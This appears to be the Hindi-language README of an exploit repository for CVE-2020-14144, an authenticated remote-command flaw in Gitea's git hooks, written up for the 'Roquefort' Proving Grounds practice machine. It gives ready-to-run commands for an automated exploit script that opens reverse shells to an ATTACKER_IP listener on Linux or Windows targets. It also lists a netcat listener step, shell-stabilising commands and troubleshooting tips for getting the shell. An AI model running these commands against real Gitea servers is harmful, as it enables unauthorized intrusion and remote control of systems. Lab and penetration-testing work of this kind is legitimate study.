
Gitea संस्करण 1.1.0 → 1.12.5 प्रमाणित उपयोगकर्ताओं को "May create git hooks" अनुमति के साथ post-receive hooks में मनमाने शेल कमांड इंजेक्ट करने की अनुमति देते हैं। एक commit पुश करने से hook ट्रिगर होता है और payload सर्वर पर निष्पादित होता है।
| आइटम | विवरण |
|---|
| मशीन | Roquefort (Proving Grounds अभ्यास) |
| OS | Linux |
| Gitea संस्करण | 1.7.5 |
| CVE | CVE-2020-14144 |
| वेक्टर | गिट हुक्स के माध्यम से प्रमाणित RCE |
| यूज़र शेल | chloe |
Gitea संस्करण 1.1.0 → 1.12.5 प्रमाणित उपयोगकर्ताओं को "May create git hooks" अनुमति के साथ post-receive हुक्स में मनमाने शेल कमांड इंजेक्ट करने की अनुमति देते हैं। कमिट पुश करने पर हुक ट्रिगर होता है और सर्वर पर पेलोड निष्पादित हो जाता है।
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
चरण-दर-चरण एक्सप्लॉइटेशन गाइड के लिए MANUAL.md देखें।
.
├── README.md # This file
├── MANUAL.md # Manual exploitation guide (Linux + Windows)
└── exploit.py # Automated exploit script
requests लाइब्रेरी (pip install requests)git स्थापित होusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) Start listener
nc -lvnp 4444
# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
रिवर्स शेल पकड़ने के बाद:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| समस्या | समाधान |
|---|---|
fatal: dubious ownership | शेयर्ड फ़ोल्डरों के बजाय ~ से क्लोन करें, या git config --global --add safe.directory '*' चलाएँ |
| कोई कनेक्शन प्राप्त नहीं हुआ | हमलावर IP सत्यापित करें, फ़ायरवॉल जाँचें, दोनों मशीनें एक ही सबनेट पर हैं इसकी पुष्टि करें |
| हुक चलता है लेकिन शेल नहीं मिलता | पहले touch /tmp/pwned पेलोड से परीक्षण करें — यदि फ़ाइल दिखाई देती है, तो रिवर्स शेल ब्लॉक हो रहा है |
| हुक्स पर अनुमति अस्वीकृत | उपयोगकर्ता के पास हुक अनुमतियाँ नहीं हैं — उसे एडमिन या "May create git hooks" विशेषाधिकार चाहिए |
| 3000 पर पोर्ट विरोध | Gitea 3000 का उपयोग करता है — अपने लिसनर के लिए 4444 जैसा दूसरा पोर्ट उपयोग करें |
यह टूल केवल अधिकृत पेनेट्रेशन टेस्टिंग और शैक्षिक उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। जिम्मेदारी से उपयोग करें।